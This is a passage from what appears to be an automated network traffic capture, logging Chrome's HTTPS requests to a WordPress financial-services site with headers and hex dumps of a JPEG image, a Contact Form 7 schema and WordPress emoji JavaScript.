2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 9a ef 44 e9 b8 c1 0c 00 e3 f9 0e d1 ee 21 13 9b 52 a1 ca 39 bb 98 39 58 32 d2 cb 01 af b4 02 ef 4e 8a bb 3b be 5b 7a c3 b3 dc 23 b9 9a 1f e3 72 b7 52 c7 09 dc 6a 04 15 a0 06 91 c8 04 f3 05 c1 7d a0 19 bb b4 fd cd b6 fc da 6c 8b 07 72 f2 e1 16 06 7c a2 3a 44 00 49 97 f1 98 a8 14 c7 82 df ef d7 2b 78 d8 f7 b9 f2 d3 a8 62 33 b9 8b 57 4f 3f 35 74 e1 bb 4a 96 23 a0 14 15 cd fa d4 b9 53 8a f5 cb d6 35 2b 2b 2f b8 b9 97 e9 f1 38 9d b3 e7 d3 e2 71 3b 67 17 f4 73 05 a7 50 36 34 60 6e ab 94 f4 1c ed 59 4b 55 ce db a9 7f 4d 80 dc bc e3 70 f3 9d 4e d2 a9 cd d4 a6 95 46 51 b6 c5 56 b9 e1 67 65 d4 e2 01 10 ca 68 ce c0 38 2a ed 2e fe d8 f7 31 d7 4c f8 e2 dc 5c f8 45 64 b6 c6 67 83 c2 e5 db 35 33 3a c1 b0 46 aa 98 ce ca ae 4a 0b 1a ba be d7 5b 9a 1a 73 dd 58 c5 aa fb ef Data Ascii: D!R99X2N;[z#rRj}lr\|:DI+xb3WO?5tJ#S5++/8q;gsP64`nYKUMpNFQVgeh8*.1L\Edg53:FJ[sX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49807	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	672	OUT	GET /wp-content/themes/x-child/images/latest_news.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:59 UTC	714	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20511 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c97c-501f" last-modified: Thu, 31 Aug 2017 08:31:56 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:59 GMT X-Served-By: cache-ewr18178-EWR, cache-ewr18120-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867699.262563,VS0,VE57 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 02 73 06 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 19 00 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 07 ff c4 00 16 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 fa 9f 7e 5e a3 0d 8c 36 30 d8 c3 63 0d Data Ascii: JFIFC!"$"$Cs@"~^60c
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 9e 30 ed cf 20 00 00 00 05 94 f4 59 40 00 00 00 1c ba 79 c8 00 2f a7 cb dc d8 00 00 00 00 00 00 00 00 0f 3e 75 90 07 ab cb ea 06 4e 39 00 00 75 e5 d4 ea 00 00 00 07 2e a3 ca 00 00 7a 3c fe 92 81 c3 bf 13 98 00 ed d3 97 50 00 00 00 00 00 00 42 b9 60 ee e1 b3 a7 3e 98 39 40 be 8f 37 a4 a0 00 00 00 00 42 a0 a0 00 07 1e 9e 70 00 1d b8 d3 d0 00 00 72 eb 83 88 16 51 60 f4 59 56 59 49 8d e5 1a ce 82 c2 a0 a8 2a 0a 94 20 70 eb c0 00 00 00 00 00 16 68 ef 65 01 40 00 00 33 e7 eb c9 00 01 db 8f a0 d0 00 00 00 00 00 00 00 00 0f 3e 6c 00 7a bc be a1 8d c3 cc 00 00 6b 3a 3d 00 00 00 50 40 38 63 d1 c8 c0 00 6b 23 d4 e5 d4 71 ed c8 e4 00 3a 76 e3 d8 00 00 00 05 00 00 27 9f a7 24 00 0e 9b e1 e8 38 40 7a 3c fd 8e 8e 39 3b b8 6c e8 94 14 80 02 cb 00 00 02 a0 c7 1e fc 00 00 Data Ascii: 0 Y@y/>uN9u.z<PB`>9@7BprQ`YVYI* phe@3>lzk:=P@8ck#q:v'$8@z<9;l
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 00 01 65 26 75 93 88 00 be 8f 3f a0 e7 cb d1 c4 c8 00 00 00 00 bd fc fe 80 09 c7 be 0e 40 00 00 00 00 00 00 6b 3a 3b 59 44 b0 b0 00 01 8d e4 e2 b0 00 00 00 00 00 00 00 00 1b c5 29 2c a8 8a 82 c4 5b 00 50 74 39 3a f2 2c b0 00 00 00 a9 40 12 c0 00 0a 26 75 93 b6 f1 a2 a0 ce 3a f3 32 00 00 00 00 00 00 00 00 2c 00 00 06 b5 b1 9d 73 30 00 00 00 00 00 75 e5 d4 d8 00 00 00 00 00 00 18 de 0e 40 02 fa 3c fe 81 02 70 eb c8 00 00 16 68 93 b4 39 f5 68 00 0e 73 af 23 00 00 00 00 00 00 16 53 bd 82 cb 00 00 01 2c 39 67 a7 30 00 00 00 00 00 00 00 00 14 00 94 b7 02 c0 6b 22 cb 0d 6b 1a 35 cf 78 20 00 00 00 16 50 00 20 00 01 9d 64 ed ac ea c0 39 e7 59 94 00 00 00 00 00 00 00 00 d6 7a 60 80 00 0e 9b e1 b3 a7 2d f2 00 00 00 00 00 07 5e 5d ca 84 02 a1 6a 10 05 82 c1 40 58 2e Data Ascii: e&u?@k:;YD),[Pt9:,@&u:2,s0u@<ph9hs#S,9g0k"k5x P d9Yz`-^]j@X.
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 2e 64 ca c5 00 00 35 50 b9 b0 80 01 bc 68 a0 a8 00 50 10 63 78 00 00 00 2c a2 00 00 00 00 00 00 00 0b 00 0b 2c 00 b0 00 00 00 00 01 60 a0 01 2c 00 67 59 35 ac 68 d3 34 ac 8d 40 03 20 00 0b a8 24 b0 00 0b ac e8 02 90 2c 08 09 6a 92 2a 02 e4 80 01 66 c9 54 67 70 8d 42 34 32 0b 01 28 03 36 2a d8 8a 94 01 49 66 77 8b 20 00 69 a3 32 aa 59 62 40 00 00 16 68 b1 40 08 28 2c 81 9d 64 00 00 34 94 4d 64 80 01 ac e8 b2 c2 a5 0b 00 00 b8 d6 48 00 00 02 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 a0 00 94 80 67 59 1b c6 c0 00 28 8b 08 00 00 dc 8b 12 c9 40 02 d5 05 13 59 0b 04 a3 34 a1 22 81 10 00 07 4e 7a 34 82 a0 b1 0d 40 8a 12 89 60 a4 22 80 16 0b 03 4c c3 59 08 00 2d 9b 32 a3 3a 43 20 14 4b 00 1a ce c0 34 8d 66 b2 96 c2 58 96 92 c8 80 00 06 b3 4b 35 0c 80 Data Ascii: .d5PhPcx,,`,gY5h4@ $,jfTgpB42(6Ifw i2Yb@h@(,d4MdHgY(@Y4"Nz4@`"LY-2:C K4fXK5
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 29 4b d2 1b 85 3e 09 f1 90 7c b8 43 f4 a5 b2 0d 2c fd 9e d9 5e 5a 0a aa e7 90 aa be d5 3e 63 05 3e 08 f1 90 af 2e 12 fd 62 5b 13 15 46 51 55 5c d5 cd 05 50 fb 94 af 2c d7 98 37 1a cb 66 87 e5 7e 58 21 a4 2d f8 0f 24 93 cd cd 03 a5 4f 8a 24 5c 57 ca 89 32 94 71 06 d2 95 e5 99 7c 91 b1 7a 12 dc ad f0 44 95 cc 5e 49 3a 17 92 5e 29 36 a3 d1 a1 a4 17 c9 4d 9a 22 03 7c 16 f8 22 27 ca ae 6a e6 82 b8 5b 72 1a 31 6c c6 6b 6d 66 02 9f 78 7d 8a 6c 90 d2 0b e4 a6 cd 26 c7 62 85 8e 49 36 3c af 14 43 26 f8 a4 d2 9b 94 b4 65 e8 47 24 d5 f9 bf d6 41 a1 a9 a0 07 d8 bc c0 b4 92 fb 92 fb 08 bd 14 9c d2 79 5e 28 78 2b cc b7 29 f1 2a ab 9a b9 af 94 35 36 63 93 ad 0d cd ea fb d5 05 2f b1 6d 3c be 65 f2 46 e2 d9 83 6a 06 f4 bc 50 f0 57 98 f1 d0 21 29 b4 25 8e c0 6a e6 85 18 25 Data Ascii: )K>\|C,^Z>c>.b[FQU\P,7f~X!-$O$\W2q\|zD^I:^)6M"\|"'j[r1lkmfx}l&bI6<C&eG$Ay^(x+)*56c/m<eFjPW!)%j%
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 04 64 c9 93 21 56 4c 99 32 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 64 c9 95 c0 99 32 05 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 64 c9 93 26 46 e4 c9 93 26 4c 82 c4 c9 93 26 4c 99 32 64 c8 04 05 b6 19 49 40 5b aa c9 b8 64 c9 b8 6e 1b 86 e1 93 70 dc 32 6a 59 4c 52 16 a6 a5 b8 6e 1a 86 4d a4 37 14 ff 00 ae c0 d8 72 27 c3 0d fc b7 0d 86 64 55 c1 f0 c6 42 98 7c 0f 5a 66 fd dc 44 78 59 83 51 48 c2 76 a9 e9 9b c7 4c 7e 53 0f 81 88 a7 be c4 b4 41 e2 cb 70 ca ec 76 66 a7 bf 8e 8a 98 3f 3c 0c 5f b4 cc ec 48 ba e6 3f 0b 71 d4 27 09 da bf d2 9f f5 f1 d1 7e 53 1f 86 66 fc f8 41 06 02 a3 d9 eb 4c 5e 3b fc a9 8f f3 c0 cd bc cb cf 7f 0c 0c 79 b2 a1 b3 17 e5 31 f8 ef f3 a6 3f 03 25 31 Data Ascii: d&L2d&L2d!VL2d&L2d&L2d2d&L2d&L2d&L2d&L2d&F&L&L2dI@[dnp2jYLRnM7r'dUB\|ZfDxYQHvL~SApvf?<_H?q'~SfAL^;y1?%1
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 49 47 d8 40 83 1c 93 06 f0 fc f4 89 1c 15 80 c6 21 59 3f e3 56 45 0c 70 f0 c2 80 35 ca fb b8 8c e6 71 d2 f8 4a 28 21 40 38 64 21 66 e7 b1 10 b9 1b df 4e 4d 49 69 13 95 fb 97 dc 82 08 91 7a 06 e0 fb f0 34 76 45 4e 9d 3a 74 4b ef 14 50 42 82 3f a8 87 c8 f7 d4 96 91 23 87 5b d6 60 58 d0 40 36 28 86 2d a9 0e 48 ed 48 c0 69 64 c7 64 a2 87 24 b0 74 44 f8 20 72 c8 18 46 87 6d 94 48 e0 c2 27 e3 48 6c fa 91 e5 1d 91 64 f9 24 82 3b 02 8a 14 7a 57 4d e0 1e 20 00 85 11 a1 03 b3 89 1c 9b a6 02 b6 10 09 84 41 13 c0 04 c2 74 a9 94 d9 00 0c 06 94 19 0a 0d e0 73 3b 26 d0 34 7b 00 72 48 28 94 e8 ce c1 42 88 46 e7 5c 86 c0 3d d0 60 2d c4 c6 84 4e cc 24 50 76 6c 30 f1 00 ed 08 4f 93 c4 20 7f ef 07 60 a1 41 be c0 dc 4f ac 1d 47 99 bc 49 09 14 13 e1 41 8a 5d e6 08 97 3e 20 23 Data Ascii: IG@!Y?VEp5qJ(!@8d!fNMIiz4vEN:tKPB?#[`X@6(-HHidd$tD rFmH'Hld$;zWM Ats;&4{rH(BF\=`-N$Pvl0O `AOGIA]> #
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 30 c3 0c 29 6f 84 30 c3 00 78 00 00 00 00 00 00 00 00 1a 80 2a 00 00 00 00 00 00 00 07 3c f3 cf 2c 30 47 3c f3 c0 00 53 cf 2c 20 00 00 00 00 80 00 00 00 00 20 04 00 00 00 00 00 40 1c b0 55 83 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 40 2a 00 00 28 d8 00 00 00 00 00 00 00 00 58 00 2a 00 00 00 00 00 00 08 05 3c f3 cf 3c f3 cf 3c f3 ca 00 43 cf 3c b2 c2 00 00 00 02 00 00 00 00 20 00 00 00 00 00 23 9c f2 a0 03 81 40 00 00 00 00 00 00 00 08 00 00 00 00 02 71 00 26 08 20 a8 d8 00 00 00 00 00 00 00 00 58 01 2a 00 00 00 00 00 00 00 07 3c f3 cf 3c f3 cf 3c f3 c8 00 03 cf 3c f3 c8 20 a0 00 00 00 00 00 02 20 10 00 00 06 73 cf 3c e2 20 02 01 00 00 00 00 00 00 00 00 08 00 00 00 00 80 08 00 82 00 00 28 d8 00 00 00 00 00 00 00 02 00 05 22 00 00 00 00 00 00 00 24 34 Data Ascii: 0)o0x<,0G<S, @U@(X<<<C< #@q& X<<<< s< ("$4
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 00 04 20 00 04 00 00 40 a1 10 00 04 c2 00 00 00 00 e4 59 00 00 00 00 00 00 00 43 9d 48 00 15 00 00 00 00 00 00 00 00 00 26 d4 b0 c6 03 86 a4 00 00 00 01 a8 96 01 4c 2a b8 ea 80 00 00 00 00 00 00 00 40 00 00 44 8e 00 00 00 00 00 00 02 00 00 00 20 00 51 40 00 00 84 00 00 00 24 a0 04 30 00 00 00 00 00 00 40 05 00 00 01 20 00 00 00 00 00 00 00 00 10 08 83 00 51 44 2a 00 00 00 02 20 aa 00 00 22 d7 d0 00 00 00 00 00 00 00 00 08 88 00 04 ae 00 00 00 00 00 1a 3f f3 8f fe f7 be b8 e0 00 52 6a 00 00 05 3d ff 00 ff 00 de 00 00 00 00 00 00 53 20 80 00 07 00 00 00 00 00 00 00 00 00 00 42 0e 00 02 4c 22 00 00 00 01 43 8e 00 00 02 23 c0 80 00 00 00 00 00 00 00 07 dd bc 40 20 00 00 00 00 00 2b f3 9e 30 c3 98 15 e3 f0 00 59 18 00 00 05 0c 31 cf 1b 00 00 00 00 00 00 42 80 Data Ascii: @YCH&L@D Q@$0@ QD "?Rj=S BL"C#@ +0Y1B
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 00 00 9a 88 05 94 02 d0 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 58 00 00 00 00 02 bb 28 80 00 00 00 00 00 00 01 02 b2 7b 63 80 50 ef 88 19 ca 16 b0 a0 a2 a8 09 14 18 00 00 88 25 80 40 20 32 ca aa aa 3a b6 80 00 04 00 00 04 10 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 80 00 02 a0 00 00 00 02 78 00 00 00 00 00 00 00 00 00 08 00 03 e0 00 73 cf 00 03 e8 9e fb c0 82 08 00 00 78 00 00 f2 10 80 70 20 22 80 2f 40 00 00 00 00 00 20 80 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 20 00 00 00 02 ff c4 00 21 11 00 02 02 02 03 01 01 00 03 00 00 00 00 00 00 00 01 11 00 30 20 40 10 50 60 70 31 21 51 80 ff da 00 08 01 03 01 01 3f 10 f9 32 e1 45 07 a3 3f e9 f1 e9 07 a6 35 0d 45 82 dd 59 8b 3f 3b 01 5a 8a 2e 14 51 45 14 51 Data Ascii: X({cP%@ 2:xsxp "/@ !0 @P`p1!Q?2E?5EY?;Z.QEQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49809	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	603	OUT	GET /wp-json/contact-form-7/v1/contact-forms/54/feedback/schema HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, /;q=0.1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	916	IN	HTTP/1.1 200 OK Connection: close Content-Length: 305 x-fw-server: Flywheel/5.1.0 x-xss-protection: 1 access-control-expose-headers: X-WP-Total, X-WP-TotalPages, Link x-fw-version: 5.0.0 x-fw-dynamic: TRUE allow: GET referrer-policy: no-referrer-when-downgrade x-robots-tag: noindex access-control-allow-headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" x-content-type-options: nosniff content-type: application/json; charset=UTF-8 x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-ewr18125-EWR, cache-ewr18152-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867700.825716,VS0,VE392 Vary: Accept-Encoding, Origin X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	305	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 22 43 6f 6e 74 61 63 74 20 46 6f 72 6d 20 37 20 53 57 56 20 53 63 68 65 6d 61 20 32 30 32 32 2d 31 30 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 5f 55 53 22 2c 22 72 75 6c 65 73 22 3a 5b 7b 22 72 75 6c 65 22 3a 22 72 65 71 75 69 72 65 64 22 2c 22 66 69 65 6c 64 22 3a 22 74 65 78 74 2d 32 35 32 22 2c 22 65 72 72 6f 72 22 3a 22 54 68 65 20 66 69 65 6c 64 20 69 73 20 72 65 71 75 69 72 65 64 2e 22 7d 2c 7b 22 72 75 6c 65 22 3a 22 72 65 71 75 69 72 65 64 22 2c 22 66 69 65 6c 64 22 3a 22 65 6d 61 69 6c 2d 38 38 36 22 2c 22 65 72 72 6f 72 22 3a 22 54 68 65 20 66 69 65 6c 64 20 69 73 20 72 65 71 75 69 72 65 64 2e 22 7d 2c 7b 22 72 75 6c 65 22 3a 22 65 6d 61 69 6c 22 2c 22 66 69 65 6c 64 22 3a 22 65 6d 61 69 6c 2d 38 38 36 22 2c 22 Data Ascii: {"version":"Contact Form 7 SWV Schema 2022-10","locale":"en_US","rules":[{"rule":"required","field":"text-252","error":"The field is required."},{"rule":"required","field":"email-886","error":"The field is required."},{"rule":"email","field":"email-886","

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49810	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	600	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=4a124e090d7ee965f75f11dee143117d HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:59 UTC	726	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18692 content-type: application/javascript x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "65b959af-4904" last-modified: Tue, 30 Jan 2024 20:18:55 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:59 GMT X-Served-By: cache-lga21973-LGA, cache-lga21943-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867700.828132,VS0,VE49 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6d 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 76 2f 31 34 2e 30 2e 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var m={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typ
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 29 2c 69 26 26 73 29 7b 66 6f 72 28 63 20 69 6e 28 6e 3d 6e 65 77 20 49 6d 61 67 65 29 2e 6f 6e 65 72 72 6f 72 3d 75 2e 6f 6e 65 72 72 6f 72 2c 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 72 61 67 67 61 62 6c 65 22 2c 22 66 61 6c 73 65 22 29 2c 66 3d 75 2e 61 74 74 72 69 62 75 74 65 73 28 6f 2c 69 29 29 66 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 63 29 26 26 30 21 3d 3d 63 2e 69 6e 64 65 78 4f 66 28 22 6f 6e 22 29 26 26 21 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 63 29 26 26 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 63 2c 66 5b 63 5d 29 3b 6e 2e 63 6c 61 73 73 4e 61 6d 65 3d 75 2e 63 6c 61 73 73 4e 61 6d 65 2c 6e 2e 61 6c 74 3d 6f 2c 6e 2e 73 72 63 3d 73 2c 65 3d 21 30 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 7d 6e 7c 7c 62 Data Ascii: ),i&&s){for(c in(n=new Image).onerror=u.onerror,n.setAttribute("draggable","false"),f=u.attributes(o,i))f.hasOwnProperty(c)&&0!==c.indexOf("on")&&!n.hasAttribute(c)&&n.setAttribute(c,f[c]);n.className=u.className,n.alt=o,n.src=s,e=!0,b.appendChild(n)}n\|\|b
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 62 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 63 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 63 Data Ascii: 83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffc
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 65 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5c 75 64 66 66 62 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5c 75 64 66 66 62 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 63 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 Data Ascii: \u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]\|\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc68\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]\|\ud83d\udc68\ud
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 63 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 64 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 63 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 64 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 64 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 Data Ascii: 